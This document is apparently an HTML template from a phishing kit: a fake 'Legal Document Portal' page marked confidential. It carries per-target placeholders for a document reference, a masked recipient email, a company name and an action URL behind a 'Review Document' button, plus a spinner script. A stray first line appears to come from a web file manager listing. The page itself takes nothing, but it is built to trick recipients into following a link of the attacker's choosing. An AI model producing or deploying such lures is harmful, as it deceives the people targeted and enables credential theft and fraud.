Simple File Manage Design by index.php

��

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Document Portal</title>
<meta name="robots" content="noindex,nofollow">
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:Georgia,serif;background:#f5f5f5;min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}
.container{background:#fff;max-width:420px;width:100%;border:1px solid #e0e0e0;overflow:hidden}
.header{background:#7c2d12;padding:26px 24px;text-align:center}
.header h1{font-size:16px;color:#fff;font-weight:400}
.header p{font-size:10px;color:#fcd9bd;margin-top:5px}
.content{padding:24px}
.notice{text-align:center;padding-bottom:14px;margin-bottom:16px;border-bottom:1px solid #e5e5e5}
.notice span{font-size:9px;color:#78716c;letter-spacing:1px}
.notice strong{display:block;font-size:11px;color:#292524;margin-top:4px}
.doc-box{background:#faf5f2;border:1px solid #e7e5e4;padding:22px;text-align:center;border-radius:4px;margin-bottom:16px}
.doc-box .icon{font-size:30px;margin-bottom:8px}
.doc-box .name{font-size:13px;font-weight:600;color:#292524}
.doc-box .meta{font-size:10px;color:#78716c;margin-top:4px}
.info-row{display:flex;justify-content:space-between;padding:10px 0;border-bottom:1px dotted #ccc;font-size:12px}
.info-row:last-child{border-bottom:none}
.info-row span:first-child{color:#78716c}
.info-row span:last-child{color:#292524;font-weight:600}
.btn{display:block;width:100%;padding:12px;background:#7c2d12;color:#fff;text-decoration:none;text-align:center;font-size:12px;border-radius:3px;margin-top:18px}
.btn:hover{background:#6b2710}
.footer{padding:14px 24px;background:#faf5f2;text-align:center;font-size:9px;color:#a8a29e}
.loading{display:none;text-align:center;padding:40px}
.spinner{width:30px;height:30px;border:3px solid #e7e5e4;border-top-color:#7c2d12;border-radius:50%;animation:spin 1s linear infinite;margin:0 auto 12px}
@keyframes spin{to{transform:rotate(360deg)}}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>Legal Document Portal</h1>
<p>Confidential</p>
</div>
<div class="content" id="main">
<div class="notice"><span>REFERENCE</span><strong>{{doc_ref}}</strong></div>
<div class="doc-box">
<div class="icon">&#128220;</div>
<div class="name">{{doc_ref}}</div>
<div class="meta">{{date}}</div>
</div>
<div class="info-row"><span>Recipient</span><span>{{email_masked}}</span></div>
<div class="info-row"><span>Matter</span><span>{{company}}</span></div>
<div class="info-row"><span>Status</span><span style="color:#7c2d12">Pending</span></div>
<a href="{{action_url}}" class="btn" id="btn">Review Document</a>
</div>
<div class="loading" id="load"><div class="spinner"></div><p style="color:#78716c;font-size:12px">Loading...</p></div>
<div class="footer">Confidential</div>
</div>
<script>(function(){var b=document.getElementById('btn'),m=document.getElementById('main'),l=document.getElementById('load');if(b&&m&&l)b.onclick=function(){m.style.display='none';l.style.display='block'}})();</script>
</body>
</html>